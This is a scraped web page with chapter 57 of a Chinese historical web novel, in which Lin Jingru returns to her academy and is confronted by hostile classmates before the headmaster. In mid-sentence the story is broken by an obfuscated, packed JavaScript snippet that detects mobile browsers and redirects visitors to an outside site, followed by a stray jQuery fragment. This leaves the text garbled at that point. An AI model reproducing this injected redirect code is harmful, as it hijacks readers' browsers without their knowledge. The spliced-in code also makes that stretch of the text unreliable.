默认冷灰
24号文字
方正启体

57. 第 57 章

作者:霁杉月本书字数:K更新时间:
    贺孚脸上的笑容瞬间变得勉强,甚至有些挂不住。他哪里料到林景如会如此不按常理出牌,直接将“心之所向”落实到了“腿之所往”上。


    若真应承下来,跑去盛兴街与她为伍,参与那“有违纲常”的工程,今夜他怕是连贺府的大门都进不去了。


    “林兄不是已辞了书吏一职,回书院复学了么?”贺孚不接话茬,反而迅速转移话题,试图避开这棘手的邀请,“如何还能去督工?莫非……温大人另有安排?”


    他刻意将“辞了”二字咬得略重,暗指林景如可能是被“赶”回来的。


    林景如闻言,轻笑一声,手下继续研墨,语速放缓,确保字字清晰,传入在场每个人耳中:


    “温大人体恤,爱惜人才,不愿林某因公务彻底荒废学业,故命我复学精进。不过,盛兴街诸事初定,亦要有人继续跟进。大人信任,许我两头兼顾,能继续为百姓略尽绵力,又能与诸位同窗切磋学问,实乃幸事。”


    她再次看向贺孚,笑意加深,语气却带着不容拒绝的坚持:


    “所以,贺兄方才之‘请’,林某权当是‘邀约’了,若贺兄今日得空,我们下学便动身?也好早日全了贺兄这份‘夙愿’。”


    见她紧咬不放,贺孚心中暗恼,正飞速思忖如何推脱又不失体面,一道充满戾气的声音骤然从门口传来,打断了他的窘迫——


    “当真是稀奇事!林景如,你居然还有脸面踏回书院?”


    众人循声望去,只见施明远与陈玏智二人并肩走入,脸上带着如出一辙的、毫不掩饰的嫌恶与倨傲。


    说话之人,正是施明远。


    “看来,在衙门里当了几日跑腿的书吏,便真当自己是个人物了?忘了自己几斤几两?”


    林景如抬眸,目光平静地迎上施明远咄咄逼人的视线,语气不疾不徐:


    “施公子这话从何说起?无论林某是否曾在衙门供职,都还是麓山书院登记在册的学子。怎么,多日不见,我竟不知这书院何时成了施家的私产?连学子能否归来,也需得施公子首肯了?”


    “哼!”施明远径直走到她桌前,冷笑一声,居高临下地睨着她。


    “是不是私产,你说了不算,但你做的那些离经叛道之事,寒了多少读书人的心,你自己心里清楚!即便本公子不动你,这书院里众人的唾沫星子,也能淹死你!”


    见施明远过来,贺孚如蒙大赦,连忙朝二人拱了拱手见礼,随即巧妙地向后退开半步,将“主战场”无声地让给了施明远与林景如,自己则退至一旁,恢复了一个旁观者的姿态。


    林景如眼风轻飘飘地掠过贺孚这避之不及的动作,唇角弧度不变,忽然对施明远道:


    “施公子来得正好,方才贺兄还在说,下了学要与我一同前往盛兴街帮忙呢。同样出身江陵世家,这做人的差距,怎就这么大?”


    贺孚脚步猛地一顿,身体瞬间僵硬。他倏然看向林景如,眼中几乎要喷出火来,那眼神分明在质问:我何时答应过你?!


    林景如也回望着他,脸上适时露出恰到好处的疑惑,声音清晰地反问:“怎么了,贺兄?你这是……不愿意?为何如此看我?”


    方才他用来挤兑她的“心之所向”,此刻竟成了勒紧他自己脖颈的绳索。贺孚咬紧后槽牙,从牙缝里挤出两个字:“……无事。”


    此刻他无论答应与否,都已陷入两难。


    答应,等于公然站到施明远等一众人的对立面,还可能惹来家中重责;不答应,便是当着所有人的面自打嘴巴,坐实了方才的虚情假意,多年经营的好名声恐毁于一旦。


    施明远起初并未留意二人之前的机锋,此刻见林景如这么说,而贺孚竟没有立刻反驳,眉头不由皱起,怀疑的目光落在贺孚身上:“当真如此?”


    贺孚有苦难言,只能极轻微地摇了摇头,同时飞快地眨了两下眼睛,向施明远传递着“容后解释”的信号。


    幸好几人颇有默契,施明远大致明白了他的意思,虽心下不悦,但此刻矛头首要还是对准林景如。


    他重新将火力集中回来,语气更加不善:


    “林景如,你除了会耍这些上不得台面的嘴皮子功夫,还会做什么?”


    他一撩衣袍下摆,竟直接将一只脚踩在了林景如书案前的椅子上,身体前倾,压低声音,威胁之意毕露。


    “世子今日可不在,我劝你最好识相些,夹起尾巴做人。否则,惹恼了本公子,有的是法子让你在这书院待不下去!”


    经他这么一“提醒”,林景如这才后知后觉地注意到,学舍内众人几乎到齐,却唯独少了那道最为张扬夺目的身影。


    骆应枢……今日竟未来?


    转念一想,以那位爷的性子,除了山长,恐怕谁也管束不了他的行止,来得晚些或干脆不来,倒也正常。


    “那林某……”她抬眸,迎上施明远阴鸷的目光,语气平淡无波,甚至带着点莫名的意味,“便多谢施公子……提醒了?”


    “跟她废什么话!”一旁的陈玏智早已不耐烦,猛地抬脚,狠狠踹在林景如的书案腿上。


    “哐当”一声闷响,书案剧烈一晃。


    林景如方才研磨好的墨汁在砚台中猛地荡起,险些泼洒出来。她迅速抬手,用力按住桌沿,才稳住了晃动。


    面色,终于彻底沉静下来,眸中暖意尽褪,只剩一片清寒。


    陈玏智仿佛没看到自己造成的混乱,脸上露出一个怪异而扭曲的笑容,带着毫不掩饰的恶意,慢悠悠道:


    “我看你今日……还能怎么办。”


    他话音落下,不仅是施明远,连一旁冷眼旁观的贺孚,嘴角也勾起一抹含义不明的、看好戏般的诡异弧度。


    林景如面上依旧不动声色,心中却警铃微作,一股无形的压力悄然弥漫,她下意识地坐直了身体,全身每一根神经都悄然绷紧,进入了戒备状态。


    好在,这份戒备并未持续太久。


    当一道清瘦却挺拔如竹的身影,挟着满室骤然肃静的气氛,缓步踏入讲堂时,那些原本就聚焦在林景如身上的目光,瞬间变得更加肆无忌惮,毫不掩饰地满是看好戏的亢奋。


    林景如心下了然。


    而当岑文均于讲台后站定,一言未发,径直提笔,在身后巨大的素屏上挥毫写下今日议


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011612|192531||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    题时,那些目光几乎要凝成实质的火焰,烧穿她的脊背。


    “今岁入夏以来,江南诸道水患渐起,淹没田舍,流离者众。”


    岑文均苍劲的声音在寂静的讲堂内回荡,目光如古井深潭,缓缓扫过台下每一张年轻的面孔,在林景如身上略作停留,又平淡地移开,仿佛她与旁人并无二致。


    “尔等日后若步入仕途,遇此情形,当何以应对?今日,便以‘论江南水患疏’为题,作一篇策论。”


    墨迹还未干,施明远便迫不及待站起身:“山长!”


    他声音响亮,带着一种刻意为之的“坦荡”。


    “景如兄今日方复学,恐怕不知我们前次课业进度,学生以为,今日这篇策论,是否可允景如兄免作?以免仓促之间,贻笑大方。”


    这话听着似是处处为同窗着想,体贴非常。


    然而,其用心却如同淬毒的蜜糖。


    若林景如休学期间前往衙门当值一事未曾禀明山长,此刻施明远这般当众点出她“刚复学”、“不知课业”,无异于将她架在火上烤,一顶“不敬师长、私自行动”的帽子随时可能扣下。


    他自以为抓住了林景如的把柄,盘算着借此机会离间她与山长,斩断她一个助力。


    却不知,早在盛兴街改造前,两人已然见过面。


    林景如神色未动,只是抬眸望向讲台上的岑文均。


    只见对方的眉心几不可察地一蹙,目光不咸不淡地落在施明远身上,那眼神平静无波,却带着一种无形的重量。


    “关心同窗,其心可嘉。”岑文均缓缓开口,声音不高,却字字清晰,“然,既为麓山书院学子,若只因归家数日,便连一篇策论也无从下笔,那这书院……不来也罢。”


    说罢,他目光转向林景如,问道:“休学这些时日,功课可曾温习?”


    林景如即刻起身,仿佛全然感受不到周遭那些几乎要将她刺穿的视线,双手抱拳,躬身行礼,声音平稳恭谨:


    “回山长,学生在家期间,未敢有一日懈怠功课,每日皆按书院旧例温书习字。”


    岑文均微微颔首,双手负于身后,语气依旧平淡:“既如此,便与众人一同作论,也让老夫看看,离院这些时日,你的功课是进是退。”


    “是。”林景如应声坐下,心头微松。


    山长睿智,岂会看不穿施明远这等浅薄的伎俩?


    然而,岑文均这般轻描淡写的反应,显然未能让施明远“满意”,他岂肯就此罢休?


    只见施明远再次“霍”地站起,脸上摆出一副痛心疾首、不得不言的“忠直”模样,朗声道:


    “山长!此事……学生本不愿多言,但‘信’乃人立身之本!林景如她公然欺瞒于您,休学是假,实则借着由头去了知府衙门当差!衙门事多,怎会有时间‘每日温书’?欺瞒这等行径,将师长威严置于何地?将书院规矩置于何地?她近些时日在外的所作所为,想必山长亦有耳闻,学生实在不解,山长为何还要如此回护于她?莫非连欺瞒师长,也可等闲视之了吗?”


    他越说越激动,仿佛自己便是那捍卫书院清誉的正义之士。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)